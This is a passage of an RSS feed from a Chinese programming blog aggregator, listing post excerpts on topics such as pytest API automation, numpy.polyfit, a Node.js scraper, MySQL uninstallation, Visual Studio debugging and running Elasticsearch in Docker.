      <description>@yaml+allure+pytest接口自动化框架TOC&#xA;一、创建用例步骤： 在data文件夹下方创建相关的yaml用例&#xA;写完之后，需要执行 utils/read_files_tools/case_automatic_control.py这个文件，生成自动化代码&#xA;执行caseAutomaticControl.py文件之后，会发现，在test_case层新增该条用例的对应代码，可直接执行该用例调试&#xA;当所有接口都编写好之后，可以直接运行run.py主程序，执行所有自动化接口（从A-Z排序依次执行）&#xA;二、配置文件解释：&#xA;域名：新增域名需要自定义方法，需要在regular_Contrl里面去封装（按照现有的域名封装方法添加），目前我封装了两个域名，有需要可以自己去加&#xA;实时更新pytest文件，开启后若改yaml测试用例会将testcase一同更新，若关闭，改后需要重新生成新的测试文件&#xA;数据库相关配置，目前只支持连接一个，如果有兴趣的同学可以拓展一下&#xA;三、测试用例相关字段解释：&#xA;见下图：&#xA;四、用例中调用方法的一些介绍：&#xA;1、设计相关依赖的数据：&#xA;dependence_case 需要设置成 True，并且在下面的 dependence_case_data 中设计相关依赖的数据。&#xA;case_id：例如 在某测试场景中我们在写B接口时需要依赖A接口返回的id，因此依赖的case_id 就是A接口的 case_id ：send_test_01&#xA;dependent_type：我们依赖的是A接口的响应内容，因此这次填写的是 response&#xA;jsonpath: 通过jsonpath 提取方式&#xA;replace_key：拿到id之后，我们将B用例中的data中的响应id参数，那么我们使用jsonpath的方式，进行替换 $.data.id，可以添加多个 dependent_type&#xA;例：&#xA;dependence_case_data:&#xA;case_id: send_tset_01&#xA;dependent_data: 提取接口响应的id dependent_type: response&#xA;jsonpath: $.data.id&#xA;replace_key: $.data.id 提取接口响应的Token dependent_type: response&#xA;jsonpath: $.data.Token 替换请求头中的Token replace_key: $.headers.Token&#xA;2、调用缓存方式：&#xA;如果用例中的依赖cache文件中的缓存，直接写我们存入缓存中的名称即可&#xA;例：&#xA;headers:&#xA;Content-Type: application/json;charset=UTF-8;&#xA;type: $cache{B_type}&#xA;authorization: $cache{B_work_login_init}&#xA;3、data中随机字符：&#xA;我们在用例中编写的格式为函数名称()的方法，程序调用时，会生成当前时间。在regularControl.py文件中，还封装了一些常用的随机数，如随机生成男生姓名、女生姓名、身份证、邮箱、手机号码之类的；比如在用例中，假设我们需要获取一个 1-10之间的随机数，那么我们直接这样调用该数据即可下面reason是key：测试 {{random_int(1， 10)}}是值&#xA;reason:测试 {{random_int(1， 10)}}</description>
    </item>
    <item>
      <title>hyperf 遇到的情况总结</title>
      <link>https://bchobby.github.io/posts/940801f6e8e194947522e3580d804470/</link>
      <pubDate>Wed, 02 Nov 2022 15:29:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/940801f6e8e194947522e3580d804470/</guid>
      <description>楼主已经转go，不再更新 hyperf踩过的坑 楼主已经转go，不再更新 协程变量注解注入坑 启动启动没扫描文件报没有input（） 内存常驻构造函数实例化类bug 继承 协程 变量 public const const = 1000; public static $static; public function setvar() { $this-&amp;gt;var = &#39;var&#39;; self::$static = &#39;static&#39;; Context::set(&#39;testvar&#39;, &#39;1000&#39;); return [ &#39;context&#39; =&amp;gt; Context::get(&#39;testvar&#39;), ]; } public function getvar() { return [ &#39;var&#39; =&amp;gt; $this-&amp;gt;var, &#39;static&#39; =&amp;gt; self::$static, &#39;const&#39; =&amp;gt; self::const, &#39;context&#39; =&amp;gt; Context::get(&#39;testvar&#39;, &#39;no&#39;), ]; } 像这种，全局定义的变量，静态属性，是所有协程共享的&#xA;但是，协程上下文，是协程隔离的&#xA;注解注入坑 突然报：must not be accessed before initialization&#xA;/** * @Inject * @var SourceTypeNewService */ private $sourceTypeNewService; runtime 删掉重起就行 启动 启动没扫描文件 遇到一个坑，很坑，深坑，start启动后不扫描文件，然后导致最新的文件没没改变。</description>
    </item>
    <item>
      <title>Python中numpy.polyfit的用法详解</title>
      <link>https://bchobby.github.io/posts/a85af481b4bb08f66cce715919c3a45c/</link>
      <pubDate>Wed, 02 Nov 2022 15:21:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a85af481b4bb08f66cce715919c3a45c/</guid>
      <description>numpy中polyfit的用法 参数 polyfit(x, y, deg, rcond=None, full=False, w=None, cov=False): x:M个采样点的横坐标数组；&#xA;y:M个采样点的纵坐标数组；y可以是一个多维数组，这样即可拟合相同横坐标的多个多项式；&#xA;deg：多项式阶数。&#xA;rcond：Relative condition number，float型，缺省值为 l e n ( x ) ∗ 2 e − 16 len(x)*2e^{-16} len(x)∗2e−16&#xA;full：bool型，缺省为False，此时只返回系数向量；full=True时还返回奇异值分解的诊断信息。&#xA;w：要应用于采样点的y坐标的权重。缺省为None，形式应该为和y一样长的数组。&#xA;cov：bool型，返回估计值及其协方差矩阵。当full=True时不返回cov。&#xA;返回值p：多项式系数矩阵，从高阶到低阶，最后一位是常数项。&#xA;功能 根据用户给定的x、y、多项式阶数等信息拟合多项式。返回值是一个系数向量。&#xA;原理 最小二乘拟合。即使得平方误差最小化。即使得下式最小：&#xA;E = ∑ j = 0 k ∣ p ( x j ) − y j ∣ 2 E = \sum_{j=0}^k |p(x_j) - y_j|^2 E=j=0∑k​∣p(xj​)−yj​∣2&#xA;用例 &amp;gt;&amp;gt;&amp;gt; x = np.array([0.0, 1.0, 2.0, 3.0, 4.</description>
    </item>
    <item>
      <title>电脑如何录屏？分享4个屏幕录制的好方法，建议收藏</title>
      <link>https://bchobby.github.io/posts/a071e9ad1fa3a052766afa4c50941587/</link>
      <pubDate>Wed, 02 Nov 2022 13:55:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a071e9ad1fa3a052766afa4c50941587/</guid>
      <description>电脑录制画面是一件非常简单的事情，在电脑上打开相应软件就可以轻松的录制电脑屏幕上正在进行的操作了。但是很多朋友并不清楚如何录制电脑上各个窗口的内容，比如游戏、文档等等。那么电脑如何录屏？下面分享分享4个屏幕录制的好方法。&#xA;方法一：步骤记录器 win10自带录屏在哪？Windows的电脑都自带一个工具：步骤记录器。借用这个工具来录制电脑屏幕也是一个不错的选择。这个系统步骤记录器一般用于需要简单的图文教程的制作，不需要在视频录制之后，还得二次截图操作，确实方便了很多。操作步骤如下：&#xA;首先，点击开始菜单，选择运行，也可以快捷键Win+R，在窗口中，输入”PSR”，调出问题步骤记录器。&#xA;接下来，点击开始录制，即可录制屏幕。在录制过程中有“开始记录”、“停止记录”、“添加注释”、“暂停记录”、“恢复记录”的按钮录制完成，点击结束录制就可以了。&#xA;方法二：电脑QQ录屏 QQ录屏的方法很简单，只需要同时按下快捷键Ctrl+Alt+S就能启动录屏功能，然后选择需要录制的区域开始录制，点击结束，全程无需太复杂的操作。电脑上如何进行屏幕录制？QQ录屏更详细的操作步骤如下：&#xA;步骤1.打开要发送录屏的聊天窗口;&#xA;步骤2.点击下图所示截图图标，选择“屏幕录制”，也可直接快捷键ctrl+alt+S;&#xA;步骤3.然后选择要录制的区域，设置需要录制的屏幕大小;&#xA;步骤4.选择区域后点击右下角的“开始录制”;录制前可以设置扬声器和麦克风，录制完毕点击【结束录制】。&#xA;方法三：电脑系统录屏工具 不论是Windows电脑，还是macOS苹果电脑，一般都是可以借助电脑自带的屏幕录制功能来进行电脑屏幕录制。电脑怎么录屏的？下文以Windows 10电脑为例分享下录屏的步骤：&#xA;首先，打开游戏栏设置选项—打开录制游戏、截屏等功能。&#xA;接下来，使用Win+G快捷键就能调动X-box游戏录制功能啦。&#xA;备注：其实电脑系统录屏工具是专门为了X-box游戏录制而定做的，结合到我们平时的录屏需求上，比如你录制一些工具操作、或者翻刻其他视频的话，就不是很适合了。&#xA;方法四：专业录屏工具 最近市面上有一款后起之秀专业录屏工具——数据蛙录屏软件，功能齐全，画质超清，声画同步，让不少用户大呼好用。这款软的优点是：界面简单，在主界面有5个模式选择（视频录制、音频录制、游戏录制、摄像头录制、窗口录制），用户可以根据自己的需求。在录制过程中，也选择录全屏、录区域还是只录摄像头或声音。&#xA;打开数据蛙录屏软件，主界面显示了几个主要的录制模式（视频录制、摄像头录制、窗口录制、音频录制、截图等等），大家可以根据自己的需求选择。怎么进行电脑录屏？本文以【视频录制】为例，一般的录屏需求用这个模式足够了。&#xA;步骤1.安装完毕软件之后，在软件的首界面点击【视频录制】，进入视频录制设置界面，也可以根据录屏的需求选择不同的录制模式，比如音频录制或者窗口录制。&#xA;步骤2.选择需要录制的区域（全屏或者自定义区域），根据本次录屏的需求调节摄像头是否开启、扬声器和麦克风音量的声源选择。在录制之前，也可点击右上角齿轮进入详细的设置界面进行设置，最后点击右侧【REC】按钮，倒数3秒后开始录制。&#xA;备注：清晰度、帧率在【设置】窗口即可调整，若需要设置文件格式、键盘、鼠标等参数，可以点击设置进行调整。&#xA;步骤3.录制完后之后，软件自动会弹出已经录制的视频预览窗口，确实好本次录制的视频之后，点击右下角的的【完成】按钮即可哦。&#xA;备注：录制结束后视频将会自动保存到文件列表，无需担心录制的视频丢失。&#xA;上述即是分享4个屏幕录制的好方法，电脑如何录屏？今天的分享就到这里了，欢迎你分享更多发现的细节。最后说明一下，使用数据蛙录屏软件，在我们选择了录屏模式后，我们还可以在设置菜单里，设置文件的存储位置、软件的快捷键、光标、添加水印等，如果需要全天或者固定某一时段录制，则可以使用数据蛙录屏软件的计划任务功能，通过预设计划，软件自启动、自关闭，超级人性化设计。</description>
    </item>
    <item>
      <title>通过nodeJS如何实现爬虫功能</title>
      <link>https://bchobby.github.io/posts/8012f912199a8e41e6e203c4e44768a5/</link>
      <pubDate>Wed, 02 Nov 2022 10:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8012f912199a8e41e6e203c4e44768a5/</guid>
      <description>对于新手小白刚入行爬虫行业来说，是选择java、C++、python还是nodeJS作为爬虫语言编程爬虫程序呢，每一种语言都有它独特的特点，那么今天本文将以nodeJS实现一个简单的网页爬虫功能说起。&#xA;网页源码&#xA;使用http.get()方法获取网页源码，以hao123网站的头条页面为例&#xA;http://tuijian.hao123.com/hotrank var http = require(&#39;http&#39;); http.get(&#39;http://tuijian.hao123.com/hotrank&#39;,function(res){ var data = &#39;&#39;; res.on(&#39;data&#39;,function(chunk){ data += chunk; }); res.on(&#39;end&#39;,function(){ console.log(data); }) }); 筛选数据&#xA;以网页中的综艺热点部分&#xA;相关源代码如下&#xA;通过分析可知，‘综艺’模块与其他模块都位于&amp;lt;div class=&#34;top-wrap&#34;&amp;gt;中，其中，综艺模块的内层div的monkey=&#39;zy&#39;，综艺模块的10条综艺节目的信息都位于&amp;lt;div class=&#34;poinr clearfix&#34;&amp;gt;中，综艺节目的名称位于中&#xA;cheerio&#xA;我们怎么从源代码中获取到有用的数据呢？首先，nodeJS不支持document对象。如果要使用笨办法，只能使用正则表达式来处理&#xA;cheerio 是nodejs特别为服务端定制的，能够快速灵活的对JQuery核心进行实现。它工作于DOM模型上，且解析、操作、呈送都很高效&#xA;【安装】&#xA;【使用】&#xA;它的使用方法和jQuery相当类似，上手非常容易。以获取综艺热度前10名的节目名称为例&#xA;var http = require(&#39;http&#39;); var cheerio = require(&#39;cheerio&#39;); http.get(&#39;http://tuijian.hao123.com/hotrank&#39;,function(res){ var data = &#39;&#39;; res.on(&#39;data&#39;,function(chunk){ data += chunk; }); res.on(&#39;end&#39;,function(){ filter(data); }) }); function filter(data){ //保存搜索量前10的综艺节目标题 var result = []; //将页面源代码转换为$对象 var $ = cheerio.</description>
    </item>
    <item>
      <title>采用python 批量下载ocean color中的卫星数据</title>
      <link>https://bchobby.github.io/posts/5aec381e376d5c14c6b9d54e17ad6638/</link>
      <pubDate>Wed, 02 Nov 2022 10:11:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aec381e376d5c14c6b9d54e17ad6638/</guid>
      <description>1.安装python&#xA;关于python安装，可以参考网上安装步骤，下载python包，自行安装；&#xA;2.数据准备工作&#xA;(1)注册一个earthdata账号，建议使用google账号，方便通过。&#xA;注册时的网站参考链接：https://oceancolor.gsfc.nasa.gov/registration/&#xA;(2)注册完成后获得一个AppKey，获得网站链接： https://oceandata.sci.gsfc.nasa.gov/appkey/`&#xA;(3)下载一个python脚本，用于后面数据下载运行，后面附录中有一个样例脚本obdaac_download.py&#xA;(4)根据自己的需求，预定数据，预定数据链接：https://oceancolor.gsfc.nasa.gov/l3/， 之后邮件会收到一个预定清单；&#xA;(5)使用脚本下载数据，直接使用cmd下载数据，&#xA;usage：obdaac_download [-h] [-v] [–filelist FILELIST] [–http_manifest HTTP_MANIFEST] [–odir ODIR] [–uncompress] [–force]&#xA;[filename]&#xA;- positional arguments:&#xA;filename - name of the file (or the URL of the file) to retrieve&#xA;- optional arguments:&#xA;-h, --help - show this help message and exit&#xA;-v, --verbose - print status messages&#xA;–filelist FILELIST - file containing list of filenames to retrieve, one per line</description>
    </item>
    <item>
      <title>mac node如何升级版本</title>
      <link>https://bchobby.github.io/posts/b71e058839295d9edf5a79a30e429561/</link>
      <pubDate>Wed, 02 Nov 2022 09:59:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b71e058839295d9edf5a79a30e429561/</guid>
      <description>使用版本管理器&#xA;首先确定本机node版本 node -v&#xA;第一步：清除nodejs的缓存：sudo npm cache clean -f&#xA;第二步：使用npm安装n模块：sudo npm install -g -n&#xA;第三步：查看node的版本：npm view node versions&#xA;第四步：选择你想升版本的方式&#xA;升级到指定版本：sudo n 16.19（比如14.19）&#xA;升级到最新版本：sudo n latest&#xA;升级到稳定版本：sudo n stable</description>
    </item>
    <item>
      <title>Activiti 6研究01 - 流程文件的手动导入</title>
      <link>https://bchobby.github.io/posts/cb666692ee2c43cc1db93263360d9370/</link>
      <pubDate>Wed, 02 Nov 2022 08:39:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb666692ee2c43cc1db93263360d9370/</guid>
      <description>在某些场景下，需要进行流程定义文件的手动导入，此处分享一下我的大致流程及踩过的坑，希望对大家有所帮助。&#xA;读入文件（此处以上传文件为例） InputStream fileInputStream = file.getInputStream(); XMLInputFactory xif = XMLInputFactory.newInstance(); InputStreamReader in = new InputStreamReader(fileInputStream, &#34;UTF-8&#34;); XMLStreamReader xtr = xif.createXMLStreamReader(in); 通过BpmnXMLConverter将xml内容转换为BpmnModel对象 // 转为bpmnModel BpmnModel bpmnModel = new BpmnXMLConverter().convertToBpmnModel(xtr); 建立Model，通过BpmnJsonConverter将BpmnXML对象转成Json对象并保存入仓库（若不需要建立Model，此步可跳过） Model model = createNewModel(); ObjectNode objectNode = new BpmnJsonConverter().convertToJson(bpmnModel); repositoryService.addModelEditorSource(model.getId(), objectNode.toString().getBytes(&#34;utf-8&#34;)); /** * 创建新的模型 * * @return */ private Model createNewModel() { Model model = repositoryService.newModel(); String modelKey = String.valueOf(CommonFunc.genID()); ObjectNode modelNode = objectMapper.createObjectNode(); modelNode.put(ModelDataJsonConstants.MODEL_NAME, modelKey); modelNode.put(ModelDataJsonConstants.MODEL_REVISION, 1); model.setName(modelKey); model.setKey(modelKey); model.</description>
    </item>
    <item>
      <title>小米商城——HTML，CSS（附：源码）</title>
      <link>https://bchobby.github.io/posts/c0bf4c25c02ada4d67498731db08c038/</link>
      <pubDate>Tue, 01 Nov 2022 23:44:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0bf4c25c02ada4d67498731db08c038/</guid>
      <description>大家好，作为刚接触前端不久的一个学生来说，我第一次学习完HTML5和CSS的时候，我就自己学习着自己做了一个小米官网，之前一直没有展现出来，最近一直写博客，这才想起来。&#xA;源代码会放在最后。&#xA;接下来是我自己的一点个人的感受，我们都知道，写一个网页的时候，我们都要从他的名称，每个标签的命名等等开始，很遗憾，我第一次写这样的代码的时候，就没有发现这样的一个问题。因此，在这里给一个很宝贵的意见就是，以后再写代码的时候一定要自己的写注释。因为代码是你自己写的，过一段时间，我们就会忘记，当时的结构和命名规则，所以在这里一定要自己写注释。&#xA;接下来给大家来看一下自己的HTML部分源代码。&#xA;&amp;lt;body&amp;gt; &amp;lt;div class=&#34;header&#34;&amp;gt; &amp;lt;div class=&#34;header-font-first&#34; onclick=&#34;window.open(&#39;https://www.mi.com/index.html&#39;)&#34;&amp;gt;小米商城&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://home.miui.com/&#39;)&#34;&amp;gt;MIUI&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://iot.mi.com/&#39;)&#34;&amp;gt;loT&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://i.mi.com/&#39;)&#34;&amp;gt;云服务&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://airstar.com/home&#39;)&#34;&amp;gt;天星数科&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://www.xiaomiyoupin.com/&#39;)&#34;&amp;gt;有品&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://xiaoai.mi.com/&#39;)&#34;&amp;gt;小爱开放平台&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://qiye.mi.com/&#39;)&#34;&amp;gt;企业团购&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://www.mi.com/aptitude/list?id=88&#39;)&#34;&amp;gt;资质证照&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://www.mi.com/aptitude/list&#39;)&#34;&amp;gt;协议规则&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://www.mi.com/appdownload&#39;)&#34;&amp;gt;下载app&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34; onclick=&#34;window.open(&#39;https://xiaomishare.mi.com/?from=micom#/&#39;)&#34;&amp;gt;智能生活&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font-last&#34;&amp;gt;seselect Location&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font-first2&#34;&amp;gt;登录&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font&#34;&amp;gt;注册&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header-font-last&#34;&amp;gt;消息通知&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header2&#34;&amp;gt; &amp;lt;div class=&#34;header2-logo&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header2-font&#34;&amp;gt;Xiaomi手机&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header2-font-list&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;header3&#34;&amp;gt; &amp;lt;div class=&#34;header3-list&#34;&amp;gt; &amp;lt;div class=&#34;header3-list-square&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>离线数仓分层（基础）</title>
      <link>https://bchobby.github.io/posts/0f7a3bbbd2b5caabeb882527ed8e6ee0/</link>
      <pubDate>Tue, 01 Nov 2022 22:08:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f7a3bbbd2b5caabeb882527ed8e6ee0/</guid>
      <description>搞数仓开发的，肯定要对数仓的结构了如指掌，好久没有复习，今天正好回顾一下&#xA;数仓分层作为最基础的数仓结构知识，通常分为离线数仓和实时数仓，一般分为贴源层（ODS）、明细层（DWD）、维度层（DIM）、轻度聚合层（DWS）、主题层（DWT）、数据中间层（DWM）和结果展示层（ADS）。下面简单介绍数仓各层的分层依据和每一层的功能。&#xA;1、贴源层（ODS）: ODS层主要存储原始数据（一般都是来源于各个app的日志或者线下门店的表格，txt文本等）&#xA;2、明细层（DWD）：基于原始数据层，将数据进行简单的清洗、脱敏后处理后建立明细表（明细表中一般也会有etl时间的字段，业务不同，字段也不相同）&#xA;3、维度表（DIM）：基于原始数据层提取公共指标进行维度建模（实际上和明细层没有依赖关系，主要是根据业务需求来定，常见的有时间，地区编码对应表，所属机构编码对应表，业务类型编码对应表等等，后面想起来再补充）&#xA;4、轻度聚合层（DWS）：是基于明细层数据，对明细层的数据进行轻度聚合得出（所谓轻度聚合，个人理解是提取业务核心字段，根据业务需求对数据进行进一步的加工）&#xA;5、主题层（DWT）：根据主题提炼出相关指标，从DWS中提取和维度表关联得出（这个时候业务就要开始详细划分了，一般都是许多小需求围绕一个核心需求作为主题---个人理解）&#xA;6、数据中间层（DWM）：对于一些跨部门协同，会产生一些公共字段，用DWM进行临时存储从而避免重复计算（类似于咱们这边的模型层）&#xA;7、结果展示层（ADS）：基于需求，从主题中提取相关字段得出，用于结果展示（咱们这边是把报送的数据导入到Oracle中进行展示，只报送增量数据）</description>
    </item>
    <item>
      <title>卸载MySQL</title>
      <link>https://bchobby.github.io/posts/eb273bf6123399dc3bd8165e551335fc/</link>
      <pubDate>Tue, 01 Nov 2022 19:57:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb273bf6123399dc3bd8165e551335fc/</guid>
      <description>1、基本方法：&#xA;首先停止Mysql服务打开控制面板，程序----&amp;gt;卸载程序删除注册表信息删除环境变量配置 2、命令行的形式：&#xA;停止MySQL服务删除MySQL服务删除注册表删除文件删除环境变量配置 我们知道，当我们需要使用更高版本的mysql数据库，想卸载低版本的mysql的话，是需要删除干净的，不然就会导致可能无法安装新版本的mysql（sqlserver数据库同理），那么本文就这一问题给出解决方法。&#xA;基本方法【应用程序安装】 1、首先停止Mysql服务 此电脑---管理---服务&#xA;2、打开控制面板，程序----&amp;gt;卸载程序 找出并删除mysql先关的软件&#xA;3、删除注册表信息 dos命令输入regedit打开注册表&#xA;删除注册表（可能你没有这么多注册信息）&#xA;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL&#xA;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\Application\MySQL&#xA;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\MySQL&#xA;4、删除环境变量配置 找到path环境变量，将其中关于mysql的环境变量删除，切记不要全部删除&#xA;5、查看原来mysql所在文件夹的信息是否删除干净 命令行的方法【zip安装包安装】 停止MySQL服务 net stop mysql 删除MySQL服务 sc delete MySQL 删除注册表（可能你没有这么多注册信息） HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL&#xA;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\Application\MySQL&#xA;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\MySQL&#xA;删除文件： MySQL整个文件夹删除&#xA;删除环境变量配置 找到path环境变量，将其中关于mysql的环境变量删除</description>
    </item>
    <item>
      <title>vs单步调试及断点调试基本介绍（入门版详细图文介绍）</title>
      <link>https://bchobby.github.io/posts/675e13c106a7d7866324ed79bcf39c6a/</link>
      <pubDate>Tue, 01 Nov 2022 19:50:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/675e13c106a7d7866324ed79bcf39c6a/</guid>
      <description>简述：本文面向小萌新介绍visual studio2022下的基本调试技巧（其他主流IDE均相似，仅具体快捷键键位不同）&#xA;//本文无废话，建议小萌新仔细阅读&#xA;//&#xA;//本文无废话，建议小萌新仔细阅读&#xA;//&#xA;//本文无废话，建议小萌新仔细阅读&#xA;//&#xA;//注，用win10/win11系统初学c/c++的话建议直接安装vs，省心，初学没必要为难自己&#xA;vs2022安装教程https://blog.csdn.net/qq_43444947/article/details/104476963&#xA;//&#xA;//&#xA;1: 断点调试 //作用：可以用来快速定位问题在哪一块，如：正常运行到断点位置后停住，通过窗口输出情况可以判断运行到断点之前的部分是否符合预期&#xA;//&#xA;//&#xA;用法：打断点，在侧栏点击一下,即可生成断点，就是那个红色的点&#xA;//&#xA;断点的作用: 在调试启动时可以运行到这一步之后停止,&#xA;//&#xA;使用方法：调试-&amp;gt;开始调试&#xA;//&#xA;//&#xA;//&#xA;//&#xA;断点停住后，&#xA;1：可配合单步调试一步步的运行（见后文介绍）&#xA;2：也可以恢复运行状态，继续运行程序，直到等待输入，异常或者运行到下一个断点。&#xA;//&#xA;//&#xA;//&#xA;//&#xA;如上图&#xA;停止在断点行&#xA;解释：此时有两个断点，停在第一个断点处，前面的运行完，输出hello&#xA;//&#xA;而下方窗口显示局部变量i的值是468，因为此时停在断点，还没有进入for语句的初始化i为0，所以此时i的值是内存中的值&#xA;//&#xA;//&#xA;而输出框中正常打印的hello代表从程序开始运行到第一个断点的这部分都一切正常-----按预期输出了hello&#xA;//&#xA;//&#xA;而输出框中正常打印的hello代表从程序开始运行到第一个断点的这部分都一切正常-----按预期输出了hello&#xA;//&#xA;//&#xA;而输出框中正常打印的hello代表从程序开始运行到第一个断点的这部分都一切正常-----按预期输出了hello&#xA;//&#xA;//&#xA;（实际中你可以通过多个关键地方打印信息，结合断点来快速定位问题）&#xA;//&#xA;//&#xA;在断点停住的情况下，可以接单步调试（见后面介绍），也可以恢复运行状态（使用方法，vs中是快捷键按f5）&#xA;//&#xA;//&#xA;//vs中的位置------调试-&amp;gt;继续，别的IDE也是类似，可能在侧边栏&#xA;//此处选择继续运行&#xA;//&#xA;//&#xA;此时，按完f5（vs中是点击继续）（别的IDE找到类似的选项之类），继续执行（或者叫“恢复程序运行状态”）后如图&#xA;上图解释：&#xA;调试启动后停在第一个断点后，程序停止在那一步，此处选择继续运行，恢复运行状态，此时一切顺利（没有异常等情况，一切顺利运行），直接运行至下一个断点，查看窗口输出&#xA;//&#xA;//&#xA;此时，按照预期输出了hello和3 6 9，然后停在第二个断点&#xA;//</description>
    </item>
    <item>
      <title>计算list的字节数/mb数</title>
      <link>https://bchobby.github.io/posts/eca5c729bf695a71c0592b7f0739bf23/</link>
      <pubDate>Tue, 01 Nov 2022 16:33:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eca5c729bf695a71c0592b7f0739bf23/</guid>
      <description> 目标是RPC传输不能超过10mb，所以需要计算list的大小。 代码如下： ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(baos); os.writeObject(list); os.close(); System.out.println(&#34;字节数：&#34; + baos.size()); System.out.println(&#34;MB：&#34; + baos.size()/ 1048576); </description>
    </item>
    <item>
      <title>Matlab自相关/互相关函数xcorr</title>
      <link>https://bchobby.github.io/posts/8f0ed773b19ccfb08bfb0e1368692703/</link>
      <pubDate>Tue, 01 Nov 2022 16:19:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f0ed773b19ccfb08bfb0e1368692703/</guid>
      <description>转载自：https://ww2.mathworks.cn/help/matlab/ref/xcorr.html&#xA;语法 r = xcorr(x,y)&#xA;r = xcorr(x)&#xA;r = xcorr(_,maxlag)&#xA;r = xcorr(_,scaleopt)&#xA;[r,lags] = xcorr(_)&#xA;说明 r = xcorr(x,y) 返回两个离散时间序列的互相关。互相关测量向量 x 和移位（滞后）副本向量 y 的之间的相似性，形式为滞后的函数。如果 x 和 y 的长度不同，函数会在较短向量的末尾添加零，使其长度与另一个向量相同。&#xA;示例&#xA;r = xcorr(x) 返回 x 的自相关序列。如果 x 是矩阵，则 r 也是矩阵，其中包含 x 的所有列组合的自相关和互相关序列。&#xA;示例&#xA;r = xcorr(___,maxlag) 将上述任一语法中的滞后范围限制为从 -maxlag 到 maxlag。&#xA;示例&#xA;r = xcorr(___,scaleopt) 还为互相关或自相关指定归一化选项。除 ‘none’（默认值）以外的任何选项都要求 x 和 y 具有相同的长度。&#xA;示例&#xA;[r,lags] = xcorr(___) 还返回用于计算相关性的滞后。&#xA;示例 两个向量的互相关 创建向量 x 和向量 y，后者是 x 右移 5 个元素的结果。计算并绘制 x 和 y 的估计互相关。在 x 和 y 的元素完全匹配的滞后值 (-5) 处，出现最大峰值。</description>
    </item>
    <item>
      <title>ES使用记录</title>
      <link>https://bchobby.github.io/posts/bf80cb40b53012cc72215a0b674c383d/</link>
      <pubDate>Tue, 01 Nov 2022 11:07:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf80cb40b53012cc72215a0b674c383d/</guid>
      <description>官方文档：Elasticsearch Guide [8.4] | Elastic 官方中文：序言 | Elasticsearch: 权威指南 | Elastic 社区文档：Getting Started（入门指南） - elasticsearch中文文档&#xA;一. ES安装相关 1. 使用docker安装es 和kibana docker pull elasticsearch:7.4.2 存储和检索数据 docker pull kibana:7.4.2 可视化检索数据 2. 创建对应的ES挂载文件 mkdir -p /mydata/elasticsearch/config mkdir -p /mydata/elasticsearch/data mkdir -p /mydata/elasticsearch/plugins echo &#34;http.host: 0.0.0.0&#34; &amp;gt;&amp;gt; /mydata/elasticsearch/config/elasticsearch.yml 3. 添加selinux规则，将要挂载的目录添加到白名单 chcon -Rt svirt_sandbox_file_t /mydata/elasticsearch/config chcon -Rt svirt_sandbox_file_t /mydata/elasticsearch/data chcon -Rt svirt_sandbox_file_t /mydata/elasticsearch/plugins 4. 启动es docker run --name elasticsearch -p 9200:9200 -p 9300:9300 -e &#34;</description>
    </item>
    <item>
      <title>数据结构（未完）</title>
      <link>https://bchobby.github.io/posts/815a17746b2c087617742be0ec003b3b/</link>
      <pubDate>Tue, 01 Nov 2022 10:47:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/815a17746b2c087617742be0ec003b3b/</guid>
